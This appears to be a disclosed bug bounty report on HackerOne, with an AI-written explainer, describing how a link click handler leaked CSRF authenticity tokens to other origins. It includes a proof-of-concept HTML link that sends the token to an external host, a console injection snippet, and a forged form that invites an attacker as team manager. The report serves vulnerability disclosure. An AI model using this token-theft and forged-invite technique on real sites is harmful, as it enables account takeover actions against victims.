CSP Bypass: Click handler for links with data-method="post" can cause authenticity_token to be sent off domain
A click handler for links carrying a data-method attribute sent the site's CSRF authenticity token in a POST to whatever URL the link pointed at, including other origins. An attacker who could insert HTML into a report could capture that token and use it to submit actions on the victim's behalf, such as inviting a new team member.
- Triaged in 2 hours
- Fixed in 15 days
- Paid in 15 days
- Disclosed after 15 days
Background
- There has been at least one case where an attacker was able to insert arbitrary HTML into a submitted report
- HackerOne uses a very strict Content Security Policy that prevents inline script and script from other origins
- HackerOne uses an
authenticity_tokenin its POSTs to guard against CSRF attacks - There is a click handler for links with a
data-methodattribute that makes it so an<a>tag with adata-method="post"will send the CSRF token in a POST to thehrefof the link, even if the target is a different origin
Proof of concept
- Suppose that someone is able to find an exploit similar to #46072, allowing them to insert arbitrary HTML into a report, and they insert the following payload:
<a href="http://danlec.com" data-method="post">Proof of Concept</a>
Since I'm not currently aware of a means of doing this, we'll have to simulate this by running the following from the console:
$(".hacktivity-container-content:first")
.html('<p><a href="http://danlec.com" data-method="post">Click Me!</a></p>')
(Yes, in general security reports involving the victim running code on the console are highly suspect. Please bear with me.)
-
When the victim clicks the link, the current
authenticity_tokenis sent to http://danlec.com. You can inspect the headers that are sent, or have the link be http://httpbin.org/post which will echo the headers that it was sent. -
Using the
authenticity_tokenit was provided, the target of the link could automatically submit a form like the following on the victim's behalf:
<form method="POST" action="https://hackerone.com/danlec-test/team_members"
target="_blank">
<input type="text" name="authenticity_token"
value="authenticity_token from the POST to this page">
<input type="text" name="invitations_team_member[email]"
value="[email protected]">
<input type="hidden" name="team_member[add_as_manager]" value="1">
<input type="hidden" name="utf8" value="✓">
<input type="hidden" name="commit" value="Send invite">
<input type="submit">
</form>
It would make sense if the click handler for links with a data-method attribute only ran for links to URLs with the same origin, especially in situations warranting a strict Content Security Policy.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
How it worked
Root cause
Likely the click handler that turns data-method links into POST requests did not check that the link's target was on the same origin before attaching the CSRF token.
Impact
An attacker able to inject HTML could steal the CSRF token and perform authenticated actions as the victim, though the report notes no known way to inject HTML at the time and simulated it via the console.
What the attacker needed
Ability to inject HTML into a report; victim clicks the crafted link
The fix
The reporter suggested the click handler should only run for same-origin links.
How it was found
- Insert HTML containing a link with a data-method attribute pointing at an external site (simulated here via the browser console).
- The victim clicks the link, and the page sends a POST to the external site including the authenticity token.
- The external site reads the token from the request and uses it to submit a form on the victim's behalf.
Explained by bugbounty.wiki with AI from the original and checked against quotes from it; it can still be wrong. Read the original before relying on a detail.
Not written yet. The AI write-up for this report has not been written yet. The Original tab links to the source.
Many websites include a secret token in forms so that only the real site can submit them; this stops another site from forging a request in your name. Here, a link on the site was set up to send a POST request, and it included that secret token even when the link pointed to a completely different website. Anyone who could place such a link on the page could read the token and then pretend to be the victim.
What is CSRF?
Another site makes a signed-in user's browser perform an action they did not intend.